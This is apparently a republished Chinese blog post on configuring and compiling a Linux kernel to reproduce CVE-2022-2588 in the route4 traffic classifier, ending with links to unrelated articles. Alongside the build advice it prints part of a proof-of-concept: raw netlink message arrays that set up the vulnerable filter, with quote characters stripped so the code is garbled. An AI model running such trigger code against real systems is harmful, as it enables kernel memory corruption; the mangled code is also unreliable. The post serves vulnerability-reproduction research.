[kernel] 编译能复现指定poc的内核的排错过程
2022/10/27 1:24:53
本文主要是介绍[kernel] 编译能复现指定poc的内核的排错过程,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
背景
在复现CVE-2022-2588漏洞的时候,编译可以运行poc成功触发漏洞所在函数的内核的过程。踩了一些坑,记录一下思路。
目标
前置知识
内核与内核模块
内核是内核(bzImage)+内核模块(.ko)组成的,很多内核的功能都不是直接在内核之中,而是在内核模块之中,系统启动之后加载对应的内核模块。这个过程涉及到linux系统启动之后的动作,而我们自己编译的简易版内核和基于qemu 的简易漏洞复现环境(qemu + 单个kernel + 基于busybox做的简易文件系统)是没有那么完整的启动过程的。所以我们一般要把需要的内核模块直接编译到内核之中。
内核的编译选项
内核编译的过程中会根据.config文件中的编译选项决定编译动作,不同内核模块的编译是由编译选项决定的,如果编译选项是m,则代表该功能会被编译成内核模块(.ko),而如果该编译选项是y则代表该功能被编译进内核(bzImage)之中。
CONFIG_NET_CLS_ROUTE4=m 或 CONFIG_NET_CLS_ROUTE4=y
所以我们需要的便是将漏洞所在模块设置成y,让其直接编译到内核bzImage中。在设置内核编译选项的时候最好不要直接编辑.config文件,因为好多内核模块之间有依赖关系,如果只是把目标模块的m改成y,而没改它依赖的模块的话,最后编译容易造成依赖链混乱,最好是通过make menuconfig 的形式来配置编译选项,menuconfig可以显示某个编译选项所依赖的其他选项。
可以看出编译选项CONFIG_NFT_CONNLIMIT的depends on中有些依赖还是m状态,那么该选项(CONFIG_NFT_CONNLIMIT)就无法被设置成y,只有当满足的依赖都是y的情况下,才能设置成y:
- 还有一些编译选项是自动设置的,根据其依赖的选项,依赖项都是m那么就自动设置成m,依赖项设置成y则自动设置成y 有一些依赖是互斥的,有了这个就不能有另一个,需要厘清逻辑关系。
过程
这里不对漏洞做过多分析,主要阐述编译过程
基本信息
使用的poc如下:
https://github.com/sang-chu/CVE-2022-2588
原本poc代码(经过我略微修改,本次调试使用):
#define _GNU_SOURCE #include <sched.h> #include <sys/socket.h> #include <linux/netlink.h> #include <unistd.h> #include <stdio.h> #include <sys/wait.h> #include <stdlib.h> #include <string.h> #include <linux/pkt_sched.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <stdlib.h> void hexdump(const void *data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = ; for (i = 0; i < size; ++i) { dprintf(2, "%02X ", ((unsigned char *)data)[i]); if (((unsigned char *)data)[i] >= && ((unsigned char *)data)[i] <= ~) { ascii[i % 16] = ((unsigned char *)data)[i]; } else { ascii[i % 16] = .; } if ((i + 1) % 8 == 0 || i + 1 == size) { dprintf(2, " "); if ((i + 1) % 16 == 0) { dprintf(2, "| %s ", ascii); } else if (i + 1 == size) { ascii[(i + 1) % 16] = ; if ((i + 1) % 16 <= 8) { dprintf(2, " "); } for (j = (i + 1) % 16; j < 16; ++j) { dprintf(2, " "); } dprintf(2, "| %s ", ascii); } } } } static char newlink[] = { /* len */ 56, 0x00, 0x00, 0x00, /* type = NEWLINK */ 16, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ 0x01, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* ifi_family */ 0x00, 0x00, 0x00, 0x00, /* ifi_ifindex */ 0x30, 0x00, 0x00, 0x00, /* ifi_flags */ 0x00, 0x00, 0x00, 0x00, /* ifi_change */ 0x00, 0x00, 0x00, 0x00, /* nla_len, nla_type */ 0x08, 0x00, 0x03, 0x00, /* string */ e, t, 2, 0, /* nla_len, nla_type */ 16, 0x00, 18, 0x00, /* nested nla_len, nla_type */ 10, 0x00, 0x01, 0x00, d, u, m, m, y, 0x00, 0x00, 0x00, }; static char dellink[] = { /* len */ 40, 0x00, 0x00, 0x00, /* type = DELLINK */ 17, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ 0x01, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* ifi_family */ 0x00, 0x00, 0x00, 0x00, /* ifi_ifindex */ 0x00, 0x00, 0x00, 0x00, /* ifi_flags */ 0x00, 0x00, 0x00, 0x00, /* ifi_change */ 0x00, 0x00, 0x00, 0x00, /* nla_len, nla_type */ 0x08, 0x00, 0x03, 0x00, /* string */ e, t, 2, 0, }; static char tfilter[] = { /* len */ 68, 0x00, 0x00, 0x00, /* type = NEWTFILTER */ 44, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ 0x41, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* tcm_family */ 0x00, 0x00, 0x00, 0x00, /* tcm_ifindex */ 0x30, 0x00, 0x00, 0x00, /* tcm_handle */ 0x00, 0x00, 0x00, 0x00, /* tcm_parent */ 0x00, 0x00, 0x01, 0x00, /* tcm_info = protocol/prio */ 0x01, 0x00, 0x01, 0x00, /* nla_len, nla_type */ 0x0a, 0x00, 0x01, 0x00, /* string */ r, o, u, t, e, 0, 0, 0, /* OPTIONS */ 0x14, 0x00, 0x02, 0x00, /* ROUTE4_TO */ 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, /* ROUTE4_FROM */ 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, }; static char ntfilter[] = { /* len */ 56, 0x00, 0x00, 0x00, /* type = NEWTFILTER */ 44, 0x00, /* flags = NLM_F_REQUEST | NLM_F_CREATE */ /* 0x200 = NLM_F_EXCL */ 0x41, 0x04, /* seq */ 0x01, 0x00, 0x00, 0x00, /* pid */ 0x00, 0x00, 0x00, 0x00, /* tcm_family */ 0x00, 0x00, 0x00, 0x00, /* tcm_ifindex */ 0x30, 0x00, 0x00, 0x00, /* tcm_handle */ 0x00, 0x00, 0x00, 0x00, /* tcm_parent */ 0x00, 0x00, 0x01, 0x00, /* tcm_info = protocol/prio */ 0x01, 0x00, 0x01, 0x00, /* OPTIONS */ 0x14, 0x00, 0x02, 0x00, /* ROUTE4_TO */ 0x08, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, /* ROUTE4_FROM */ 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, };
这篇关于[kernel] 编译能复现指定poc的内核的排错过程的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-26怎么使用nsenter命令进入容器?-icode9专业技术文章分享
- 2024-12-26导入文件提示存在乱码,请确定使用的是UTF-8编码怎么解决?-icode9专业技术文章分享
- 2024-12-26csv文件怎么设置编码?-icode9专业技术文章分享
- 2024-12-25TypeScript基础知识详解
- 2024-12-25安卓NDK 是什么?-icode9专业技术文章分享
- 2024-12-25caddy 可以定义日志到 文件吗?-icode9专业技术文章分享
- 2024-12-25wordfence如何设置密码规则?-icode9专业技术文章分享
- 2024-12-25有哪些方法可以实现 DLL 文件路径的管理?-icode9专业技术文章分享
- 2024-12-25错误信息 "At least one element in the source array could not be cast down to the destination array-icode9专业技术文章分享
- 2024-12-25'flutter' 不是内部或外部命令,也不是可运行的程序 或批处理文件。错误信息提示什么意思?-icode9专业技术文章分享